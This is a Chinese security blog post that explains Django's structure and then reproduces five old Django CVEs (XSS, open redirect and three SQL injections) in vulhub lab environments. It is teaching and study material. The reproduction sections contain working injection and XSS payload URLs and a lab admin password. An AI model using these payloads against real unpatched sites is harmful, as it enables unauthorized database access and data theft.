Django框架的那些CVE

admin 2022年2月26日14:39:15评论100 views字数 8685阅读28分57秒阅读模式

0x01 django基础

1.django简介

Django 是一个由 Python 编写的一个开放源代码的 Web 应用框架。

使用 Django,只要很少的代码,Python 的程序开发人员就可以轻松地完成一个正式网站所需要的大部分内容,并进一步开发出全功能的 Web 服务 Django 为MVT模型,即 Model(模型)+ View(视图)+ Template模板)设计模式,MVT模式使后续对程序的修改和扩展简化,并且使程序某一部分的重复利用成为可能。Django 的 MTV 模式本质上和 MVC 是一样的,也是为了组件间保持松耦合关系,只是定义上有些许不同。

除了以上三层之外,还需要一个 URL 分发器,它的作用是将一个个 URL 的页面请求分发给不同的 View 处理,View 再调用相应的 Model 和 Template,MTV 的响应模式如下所示:

简易图:

Django框架的那些CVE

用户操作流程图:

Django框架的那些CVE

解析:

用户通过浏览器向我们的服务器发起一个请求(request),这个请求会去访问视图函数:

  • a.如果不涉及到数据调用,那么这个时候视图函数直接返回一个模板也就是一个网页给用户。

  • b.如果涉及到数据调用,那么视图函数调用模型,模型去数据库查找数据,然后逐级返回。

视图函数把返回的数据填充到模板中空格中,最后返回网页给用户。

2.django安装及运行

安装django:

pip install django

创建项目

python -m djang startproject mysite或django-admin startproject mysite

项目目录结构:

mysite/

    manage.py

    mysite/

        __init__.py

        settings.py

        urls.py

        wsgi.py

启动服务:

python manage.py runserver ip:port ,即可在浏览器上访问

Django框架的那些CVE

创建投票应用:

python manage.py startapp polls

这将会创建一个 polls 目录,它的目录结构大致如下:

polls/

    __init__.py

    admin.py

    apps.py

    migrations/

        __init__.py

    models.py

    tests.py

    views.py

这个目录结构包括了投票应用的全部内容。

编写第一个视图:

打开 polls/views.py,把下面这些 Python 代码输入进去:

from django.http import HttpResponsedef index(request):    return HttpResponse("Hello, world. You're at the polls index.")

这是 Django 中最简单的视图。如果想看见效果,我们需要将一个 URL 映射到它——这就是我们需要 URLconf 的原因了。

为了创建 URLconf,请在 polls 目录里新建一个 urls.py 文件。你的应用目录现在看起来应该是这样:

polls/

    __init__.py

    admin.py

    apps.py

    migrations/

        __init__.py

    models.py

    tests.py

    urls.py

    views.py

polls/urls.py 中,输入如下代码:

from django.urls import pathfrom . import viewsurlpatterns = [    path('', views.index, name='index'),]

下一步是要在根 URLconf 文件中指定我们创建的 polls.urls 模块。在 mysite/urls.py 文件的 urlpatterns 列表里插入一个 include(), 如下:

from django.contrib import adminfrom django.urls import include, pathurlpatterns = [    path('polls/', include('polls.urls')),    path('admin/', admin.site.urls),]

函数 include() 允许引用其它 URLconfs。每当 Django 遇到 :func:~django.urls.include 时,它会截断与此项匹配的 URL 的部分,并将剩余的字符串发送到 URLconf 以供进一步处理。

访问视图:

总体的目录结构:

Django框架的那些CVE

0x02 CVE-2017-12794

漏洞类型:

debug页面XSS漏洞  ,比较鸡肋

漏洞条件:

1.11.5之前的版本且开启debug模式

漏洞原因:

django在debug界面引入了一个机制,可以让开发者调试sql,当发生报错时,界面会回显错误信息。使用Postgres数据库并触发异常的时候,psycopg2会将字段名和字段值全部抛出,因此sql报错信息可控时,就会触发XSS漏洞。

如图,触发XSS的变量为frame.exc_cause,这个变量是捕获数据库异常时返回的异常信息,可以看到1.11.4版本,关闭了全局自动转义,因此如果漏洞触发时抛出的异常信息可控的话,那么就会触发XSS漏洞。

在1.11.5版本修复时,对frame.exc_cause进行了force_escape,漏洞被修复。

产生漏洞的代码路径:/django/views/debug.py

追溯到:djangodbutils.py

其中exc_type是异常,如果其类型是DataError,OperationalError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,InterfaceError,Error之一,则抛出一个同类型的新异常,并设置其__cause__和__traceback__为此时上下文的exc_value和traceback。

 exc_value是上一个异常的说明,traceback是上一个异常的回溯栈。这个函数其实就是关联了上一个异常和当前的新异常。

 最后,在500页面中,__cause__被输出。

漏洞复现:

复现环境选用的是vulhub环境:

https://github.com/phith0n/vulhub/tree/master/django/CVE-2017-12794

克隆代码后进入CVE-2017-12794,执行:docker-compose up -d

我们假设场景:

1.访问链接注册一个用户,用户名为一个XSS payload:<script>alert</script>

2.再次访问链接注册相同的用户

3.漏洞触发

Django框架的那些CVE

Django框架的那些CVE

0x03 CVE-2018-14574

漏洞类型:

任意url跳转漏洞

服务端未对传入的跳转url变量进行检查和控制,可能导致可恶意构造任意一个恶意地址,诱导用户跳转到恶意网站。由于是从可信的站点跳转出去的,用户会比较信任,危害有:

  • 通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息

  • 或欺骗用户进行金钱交易

漏洞条件:

1.Django < 2.0.8

漏洞原因:

Django的配置下,如果匹配上的URL路由中最后一个是/,而用户访问的时候没加/,则Django的配置会转移到带/的请求中。

漏洞复现:

复现环境选用的是vulhub环境:

https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574

克隆代码后进入CVE-2018-14574,执行:docker-compose build ;docker-compose up -d

1.访问我们刚才开启的环境,ip:8000,返回hello world

Django框架的那些CVE2.只要在url后加上//想跳转的网页,即可实现跳转,比如ip:8000//www.baidu.com,就跳转到百度了

Django框架的那些CVE

Django框架的那些CVE

0x04 CVE-2019-14234

漏洞类型:

JSONField/HStoreField SQL 注入

漏洞条件:

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。

Django 2.2.x < 2.2.4

Django 2.1.x < 2.1.11

Django 1.11.x < 1.11.23

漏洞原因:

Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。

直接看到JSONField的实现:

class JSONField(CheckFieldDefaultMixin, Field):    empty_strings_allowed = False    description = _('A JSON object')    default_error_messages = {        'invalid': _("Value must be valid JSON."),    }    _default_hint = ('dict', '{}')    # ...    def get_transform(self, name):        transform = super().get_transform(name)        if transform:            return transform        return KeyTransformFactory(name)

JSONField继承自Field,其实Django中所有字段都继承自Field,其中定义了 get_transform 函数。

正常情况下,transform一般用来在通过外键连接两个表,比如 .filter(author__username='phith0n') 可以表示在 author 外键连接的用户表中,找到 username 字段。用伪SQL语句表示就是:

WHERE `users`[1] 'value'

位置 [1] 是transform,比如transform是寻找外键表的字段 username ,那么生成的SQL语句就是 WHERE users.username = 'value'

get_transform 函数应该返回一个可执行对象,你可以理解为工厂函数,执行这个工厂函数,获得一个transform对象。

JSONField 用的工厂函数是 KeyTransformFactory 类,其返回的是 KeyTransform 对象:

class KeyTransformFactory:    def __init__(self, key_name):        self.key_name = key_name    def __call__(self, *args, **kwargs):        return KeyTransform(self.key_name, *args, **kwargs)class KeyTransform(Transform):    operator = '->'    nested_operator = '#>'    def __init__(self, key_name, *args, **kwargs):        super().__init__(*args, **kwargs)        self.key_name = key_name    def as_sql(self, compiler, connection):        key_transforms = [self.key_name]        previous = self.lhs        while isinstance(previous, KeyTransform):            key_transforms.insert(0, previous.key_name)            previous = previous.lhs        lhs, params = compiler.compile(previous)        if len(key_transforms) > 1:            return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params        try:            int(self.key_name)        except ValueError:            lookup = "'%s'" % self.key_name        else:            lookup = "%s" % self.key_name        return "(%s %s %s)" % (lhs, self.operator, lookup), params

Django的model最本质的作用是生成SQL语句,所以transform需要实现一个名为 as_sql 的方法用来生成SQL语句。这里原本生成的语句应该是:

WHERE (field->'[key_name]') = 'value'

但这里可见, [key_name] 位置的json字段名是字符串拼接!

这就是本漏洞出现的原因。

漏洞复现:

复现环境选用的是vulhub环境:

https://github.com/vulhub/vulhub/tree/master/django/CVE-2019-14234

克隆代码后进入CVE-2019-14234,执行:docker-compose build ;docker-compose up -d

1.访问ip:8000,出现以下界面证明环境搭建成功

Django框架的那些CVE

2.通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入

访问http://ip:8000/admin

输入用户名admin ,密码a123123123

Django框架的那些CVE

3.构造URL进行查询,payload:http://ip:8000/admin/vuln/collection/?detail__a’b=123

Django框架的那些CVE

4.可以看到上图已经注入成功,并且可以看到构造的SQL语句,继续构造payload

http://ip:8000/admin/vuln/collection/?detail__title')='1' or 1=1-- 

那么此时实际执行的sql语句为:WHERE ("vuln_collection"."detail" -> 'title') = '1' or 1=1 --

浏览器输入http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%2d%2d%20

Django框架的那些CVE

or 1=1为真,返回所有结果

0x05 CVE-2020-9402

漏洞类型:

Django GIS SQL 注入

漏洞条件:

Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本

 1、使用了GIS中聚合查询的功能

 2、用户在oracle的数据库且可控tolerance查询时的键名

漏洞原因:

GIS查询API是一个地理位置的查询API,提供用户存储精确GPS的位置的数据模块,属于一个空间数据库。我们可以通过如下的经纬度信息

pnt = GEOSGeometry('POINT(-96.876369 29.905320)', srid=4326)>>>SRID=4326;POINT (-96.876369 29.90532)

来获得一个具体的定位信息,通过如下的模块来构建一个基本的地理信息存储

from django.contrib.gis.db import modelsclass Names(models.Model):    name = models.CharField(max_length=128)    def __str__(self):        return self.nameclass Interstate(Names):    path = models.LineStringField()

后台存储的时候发出path的信息为json数据,例如

{"type":"LineString","coordinates":[[-8167.236601807093,-3286.248045708844],[-7896.285624495958,-3324.9553281818644],[1083.8039092445451,-654.1528375435246]]}

我们就获得了一个基本的地理位置数据,同理,通过构造一个聚合的查询方法

def vuln(request):    q = request.GET.get('q')    qs=Interstate.objects.annotate(            d=Distance(                Point(-0.0733675346842369, -0.0295208671625432, srid=4326),                Point(0.009735976166628611, -0.00587635491086091, srid=4326),                tolerance = q, # default 0.05            ),        ).filter(d=D(m=1)).values('name')

对应的查询语句为

SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) =  1.0 FETCH FIRST 21 ROWS ONLY;

当我们传入http://ip:8000/vuln/?q=20) = 1 OR 1=1 OR (1+1时,此时的sql查询语句是:

SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1  OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY

漏洞复现:

复现环境选用的是vulhub环境:

https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402

克隆代码后进入CVE-2020-9402,执行:docker-compose build ;docker-compose up -d

1.访问ip:8000会报错

Django框架的那些CVE

访问路径不对,提示有admin、vuln、vuln2,3个页面,存在漏洞的是vuln、vuln2,我们直接访问vuln,发现一片空

Django框架的那些CVE

下面我们来构造q=20)%20%3D%201%20OR%2020(select%20utl_inaddr.get_host_name((SELE%20T%20ve%20sio%20v%240FROM%20v%24%20nst%20nce)%20is%20null%20%20OR%20(1%2B%20is%20null%20%20OR%20(1%2B1

q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null  OR (1+1

Django框架的那些CVE

报了语法错误,存在SQL注入

0x06 CVE-2021-35042

漏洞类型:

sql注入

漏洞条件:

Django < 3.2.5

Django < 3.1.13

漏洞原因:

漏洞是由参数在传递给 QuerySet.order_by() 的时候,未经处理的用户输入可绕过验证导致。最终可造成SQL注入等危害。

漏洞复现:

复现环境选用的是vulhub环境:

https://github.com/vulhub/vulhub/tree/master/django/CVE-2021-35042

克隆代码后进入CVE-2021-35042,执行:docker-compose build ;docker-compose up -d

1.访问ip:8000/vuln/?order=id

Django框架的那些CVE

2.输入payload

ip:8000?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23

Django框架的那些CVE

报了语法错误,存在SQL注入

参考链接

https://www.runoob.com/django/django-intro.html

https://blog.csdn.net/m0_48520508/article/details/107639153

http://www.hackdig.com/03/hack-75046.htm

https://blog.csdn.net/qq_32171761/article/details/109290370

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月26日14:39:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Django框架的那些CVEhttp://cn-sec.com/archives/794712.html

发表评论

匿名网友 填写信息